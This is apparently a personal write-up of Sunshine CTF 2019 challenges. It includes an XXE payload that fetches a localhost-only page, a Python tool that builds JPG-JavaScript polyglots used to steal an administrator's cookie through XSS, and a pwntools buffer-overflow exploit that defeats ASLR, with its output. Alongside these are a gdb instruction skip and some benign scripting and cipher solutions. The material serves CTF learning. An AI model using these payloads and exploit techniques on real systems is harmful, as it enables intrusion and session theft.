Sunshine CTF 2019

Wrestler Name Generator

At first glance, a standard XXE exploit

document.getElementById("button").onclick = function() {
  var firstName = document.getElementById("firstName").value;
  var lastName = document.getElementById("lastName").value;
  var input = btoa("<?xml version='1.0' encoding='UTF-8'?><input><firstName>" + firstName + "</firstName><lastName>" + lastName+ "</lastName></input>");
  window.location.href = "/generate.php?input="+encodeURIComponent(input);
};

However, after fetching generate.php, theres an interesting block at the top:

$whitelist = array(
    '127.0.0.1',
    '::1'
);
// if this page is accessed from the web server, the flag is returned
// flag is in env variable to avoid people using XXE to read the flag
// REMOTE_ADDR field is able to be spoofed (unless you already are on the server)
if(in_array($_SERVER['REMOTE_ADDR'], $whitelist)){
	echo $_ENV["FLAG"];
	return;

Given that header spoofing did not work, what if I used the XXE to load the web page?

Payload:

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://127.0.0.1/generate.php" >]><input><firstName>&xxe;</firstName><lastName></lastName></input>

Enter The Polygon 1

I was presented with a site accepting image uploads. After uploading a standard image, the website tried to embed the image as a <script> source and complained "There is no exif data". Am I meant to XSS an administrator through EXIF data?

It turns out that no, the EXIF tags are not the solution. The values of the EXIF tags are sanitised properly before being displayed.

The answer lies with this article. I crafted a JPG-Javascript polyglot:

#!/usr/bin/python3
import sys
import binascii
import struct

# arg1: jpg file
# arg2: output file
# arg3: js payload

OFFSET_JPG_HEADER = 4

with open(sys.argv[1], "rb") as f:
    input_image = f.read()

len_jpg_header = int.from_bytes(input_image[OFFSET_JPG_HEADER:OFFSET_JPG_HEADER + 2], "big")
print("jpg header length={}".format(len_jpg_header))

# i'm going to rewrite the header length to 0x2F2A,
# so read the original header and pad the end till its 0x2F2A long

jpg_header = b'\x2F\x2A' + input_image[OFFSET_JPG_HEADER:OFFSET_JPG_HEADER + len_jpg_header + 2]
jpg_header += b'\x00' * (0x2F2A - len_jpg_header)

# read js payload and convert to hex

payload = sys.argv[3].encode("ascii")
print("Payload: {}".format(payload))
payload = b'*/' + payload + b'/*'
print("Payload modified to: {}".format(payload))
print("Payload length (bytes)={} or {}".format(len(payload), hex(len(payload))))

# create JPEG comment
# FF FE <2b length of comment including this> <payload>

comment = b'\xFF\xFE' + struct.pack(">H", len(payload) + 2) + payload

# put it all together:
# 0:OFFSET_JPG_HEADER +
# modified jpeg header +
# jpeg comment +
# OFFSET_JPG_HEADER + len_jpg_header:

final = input_image[0:OFFSET_JPG_HEADER] + \
        jpg_header + \
        comment + \
        input_image[OFFSET_JPG_HEADER + len_jpg_header:]

# lastly, close the second js comment
# chop off the last 4 bytes of final and rewrite it to be 
# 2A 2F FF D9 (comment close, jpeg close)
final = final[0:-4] + b'\x2A\x2F\xFF\xD9'

print("Writing to {}".format(sys.argv[2]))
with open(sys.argv[2], "wb") as f:
    f.write(final)

Threw in a payload from xsshunter, and got a hit almost immediately.

The flag was in a cookie.

This diagram describing the JPG format was really useful. Note that there needed to be an = before my payload because the file header was being interpreted as a variable name, turning the file into

<file header> = /* chunk of commented "code" */=<payload>/* chunk of commented "code" */<file end>

Timewarp

Scripting challenge where one had to retrieve the next input one at a time

justin@kali:~/sunshinectf$ nc tw.sunshinectf.org 4101
I'm going to give you some numbers between 0 and 999.
Repeat them back to me in 30 seconds or less!
1
39
G3tting c0lder!
justin@kali:~/sunshinectf$ nc tw.sunshinectf.org 4101
I'm going to give you some numbers between 0 and 999.
Repeat them back to me in 30 seconds or less!
39
39
Gre4t j0b!
1
61
Uh 0h, th4t's n0t it!

Solvable with a script:

from pwn import *

numbers = []

while True:
    r = remote("tw.sunshinectf.org", 4101)
    r.recvuntil("30 seconds or less!")

    for i, number in enumerate(numbers):
        print("Sending number "+number)
        r.sendline(number)
        r.recvline()
        resp = r.recvline().strip()
        print(resp)

        r.recvuntil("!")
    
    #print("Retrieving number")
    r.sendline("a")
    r.recvline()
    num = r.recvline().strip()
    numbers.append(num)
    print(numbers)
    if "fixing the timestream" in num:
        r.interactive()

    r.close()

Though 300 requests with this

PING tw.sunshinectf.org (34.195.38.232) 56(84) bytes of data.
64 bytes from ec2-34-195-38-232.compute-1.amazonaws.com (34.195.38.232): icmp_seq=1 ttl=128 time=240 ms
64 bytes from ec2-34-195-38-232.compute-1.amazonaws.com (34.195.38.232): icmp_seq=2 ttl=128 time=240 ms

made it impossible to submit the 300 numbers in 30s. I resorted to spinning up a droplet in San Francisco to run the script.

Return To Mania

Standard buffer overflow challenge. Documenting this because i'm still new to this.

void welcome(void)

{
  undefined local_16 [14];
  
  puts("Welcome to WrestleMania! Type in key to get access.");
  printf("addr of welcome(): %p\n",welcome);
  __isoc99_scanf(&DAT_0001087b,local_16);
  return;
}

Stack structure of the welcome function looks like this. We have an unchecked write and can use it to overwrite the return address of welcome, making it return to mania instead. I just have to write 0x16 bytes of garbage, then the address to jump to.

-000000000000012 var_12          db ?
-0000000000000011                 db ? ; undefined
-0000000000000010                 db ? ; undefined
-000000000000000F                 db ? ; undefined
-000000000000000E                 db ? ; undefined
-000000000000000D                 db ? ; undefined
-000000000000000C                 db ? ; undefined
-000000000000000B                 db ? ; undefined
-000000000000000A                 db ? ; undefined
-0000000000000009                 db ? ; undefined
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004 var_4           dd ?
+0000000000000000  s              db 4 dup(?)
+0000000000000004  r              db 4 dup(?)
+0000000000000008
+0000000000000008 ; end of stack variables

The tricky part is ASLR - the  address of mania varies every time. welcome and mania have offsets 0x6ed and 0x65d respectively:

justin@kali:~/sunshinectf$ readelf -a return-to-mania | grep "welcome"
    59: 000006ed    89 FUNC    GLOBAL DEFAULT   14 welcome
justin@kali:~/sunshinectf$ readelf -a return-to-mania | grep "mania"
    35: 00000000     0 FILE    LOCAL  DEFAULT  ABS return-to-mania.c
    70: 0000065d   144 FUNC    GLOBAL DEFAULT   14 mania

With the conveniently printed out address of welcome, I can calculate the address of mania because I know that mania is 0x6ed - 0x65d bytes below welcome.

import binascii
from pwn import *

WELCOME_OFFSET = 0x6ed
MANIA_OFFSET = 0x65d

#r = process("./return-to-mania")
r = remote("ret.sunshinectf.org", 4301)
r.recvline()
welcome_addr = r.recvline().split("0x")[1]
print("welcome at "+welcome_addr)
mania_addr = int(welcome_addr, 16) - (WELCOME_OFFSET - MANIA_OFFSET)
print("mania at "+hex(mania_addr))

r.sendline("A"*0x16 + p32(mania_addr))
print(r.recv(timeout=1))

works!

justin@kali:~/sunshinectf$ python ret2mania.py
[+] Opening connection to ret.sunshinectf.org on port 4301: Done
welcome at 565806ed

mania at 0x5658065d
WELCOME TO THE RING!
sun{0V3rfl0w_rUn_w!Ld_br0th3r}


[*] Closed connection to ret.sunshinectf.org port 4301

Patches' Punches

An extremely basic patch out instruction challenge - the flag is only printed if  ebp+var_10 is 0, yet the previous instruction sets it to 1.

I'm sure theres a way to patch out the instruction in the binary directly but I resorted to using gdb to skip the instruction.

(gdb) disass main
Dump of assembler code for function main:
   0x0000051d <+0>:     lea    0x4(%esp),%ecx
   0x00000521 <+4>:     and    $0xfffffff0,%esp
   0x00000524 <+7>:     pushl  -0x4(%ecx)
   0x00000527 <+10>:    push   %ebp
   0x00000528 <+11>:    mov    %esp,%ebp
   0x0000052a <+13>:    push   %ebx
   0x0000052b <+14>:    push   %ecx
   0x0000052c <+15>:    sub    $0x10,%esp
   0x0000052f <+18>:    call   0x5c6 <__x86.get_pc_thunk.ax>
   0x00000534 <+23>:    add    $0x1aa4,%eax
   0x00000539 <+28>:    movl   $0x1,-0x10(%ebp)
   0x00000540 <+35>:    cmpl   $0x0,-0x10(%ebp)
   0x00000544 <+39>:    jne    0x5a3 <main+134>
   0x00000546 <+41>:    movl   $0x0,-0xc(%ebp)
   0x0000054d <+48>:    jmp    0x580 <main+99>
   0x0000054f <+50>:    lea    0xc8(%eax),%ecx
   0x00000555 <+56>:    mov    -0xc(%ebp),%edx
   0x00000558 <+59>:    add    %ecx,%edx
   0x0000055a <+61>:    movzbl (%edx),%edx
   0x0000055d <+64>:    mov    %edx,%ecx
   0x0000055f <+66>:    mov    -0xc(%ebp),%edx
   0x00000562 <+69>:    mov    0x48(%eax,%edx,4),%edx
   0x00000569 <+76>:    sub    %edx,%ecx
   0x0000056b <+78>:    mov    %ecx,%edx
   0x0000056d <+80>:    mov    %edx,%ebx
   0x0000056f <+82>:    lea    0xc8(%eax),%ecx
   0x00000575 <+88>:    mov    -0xc(%ebp),%edx
   0x00000578 <+91>:    add    %ecx,%edx
   0x0000057a <+93>:    mov    %bl,(%edx)
   0x0000057c <+95>:    addl   $0x1,-0xc(%ebp)
   0x00000580 <+99>:    cmpl   $0x1e,-0xc(%ebp)
   0x00000584 <+103>:   jle    0x54f <main+50>
   0x00000586 <+105>:   sub    $0x8,%esp
   0x00000589 <+108>:   lea    0xc8(%eax),%edx
   0x0000058f <+114>:   push   %edx
   0x00000590 <+115>:   lea    -0x1988(%eax),%edx
   0x00000596 <+121>:   push   %edx
   0x00000597 <+122>:   mov    %eax,%ebx
   0x00000599 <+124>:   call   0x3b0 <printf@plt>
   0x0000059e <+129>:   add    $0x10,%esp
   0x000005a1 <+132>:   jmp    0x5b7 <main+154>
   0x000005a3 <+134>:   sub    $0xc,%esp
   0x000005a6 <+137>:   lea    -0x1970(%eax),%edx
   0x000005ac <+143>:   push   %edx
   0x000005ad <+144>:   mov    %eax,%ebx
   0x000005af <+146>:   call   0x3b0 <printf@plt>
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) b *main+28
Breakpoint 1 at 0x539
(gdb) r
Starting program: /home/justin/sunshinectf/patches

Breakpoint 1, 0x56555539 in main ()
(gdb) jump *main+41
Continuing at 0x56555546.
Hurray the flag is sun{To0HotToHanDleTo0C0ldToH0ld!}
[Inferior 1 (process 10214) exited normally]

Entry Exam

I still can't see the point of this challenge... but it was surprisingly straightforward to solve. This challenge involves solving math questions with a catch - the answers have to be submitted by filling in a scantron sheet.

To fill out the scantron, I used PIL to draw circles from hardcoded offsets.

get_scantron.py:

from PIL import Image, ImageDraw

CIRCLE_RADIUS = 25

# coordinates of A1
BASE_X = 360
BASE_Y = 460

OFFSET_X = 68
OFFSET_Y = 90

def fill(draw, question, option):
    # question: 0-19
    # option: 0-4
    x = BASE_X
    y = BASE_Y
    r = CIRCLE_RADIUS

    # question 11 - 20 are in another section to the right
    if question >= 10:
        x += 493
    
    x += OFFSET_X * option
    y += OFFSET_Y * (question % 10)
    draw.ellipse((x-r, y-r, x+r, y+r), fill=0)

def get_scantron(answers):
    # answers: list of tuples (question, option)
    base = Image.open("scantron.png")

    draw = ImageDraw.Draw(base)
    for answer in answers:
        fill(draw, answer[0], answer[1])

    base.save("tmp.png")

And to actually retrieve and solve the exams, good ol' request and BeautifulSoup

from bs4 import BeautifulSoup
import requests

from get_scantron import get_scantron

TARGET_URL = "http://ee.sunshinectf.org/exam"

s = requests.session()

r = s.get(TARGET_URL)

while True:
    soup = BeautifulSoup(r.text, "lxml")

    container = soup.find("ol")
    question_eles = container.findChildren("li", recursive=False)
    answers_eles = container.findChildren("ol", recursive=False)

    answers = []
    for i in range(20):
        question_ele = question_eles[i]
        answers_ele = answers_eles[i]

        question = question_ele.text
        
        answer = int(eval(question))
        option = 99
        for u, li in enumerate(answers_ele.find_all("li")):
            if li.text == str(answer):
                option = u
                break
        
        if option == 99:
            print("Question: " + question)
            print("Calculated answer: " + answer)
            print(answers_ele)
            raise Exception("Could not find answer")
        
        answers.append((i, u))

    print(answers)
    get_scantron(answers)

    files = {"file":("solution.png", open("tmp.png", "rb"))}
    r = s.post(TARGET_URL, files=files)

    print(r.text)

Yes, I know I shoudn't be using eval on untrusted input, but in this case, development speed is everything...

CB1

Listening to the .wav file provided gives us the following string:

HKCGXKZNKOJKYULSGXIN

Chucking that into a Caesar Cipher solver here, the answer pops up:

BEWARETHEIDESOFMARCH

Portfolio

Oops.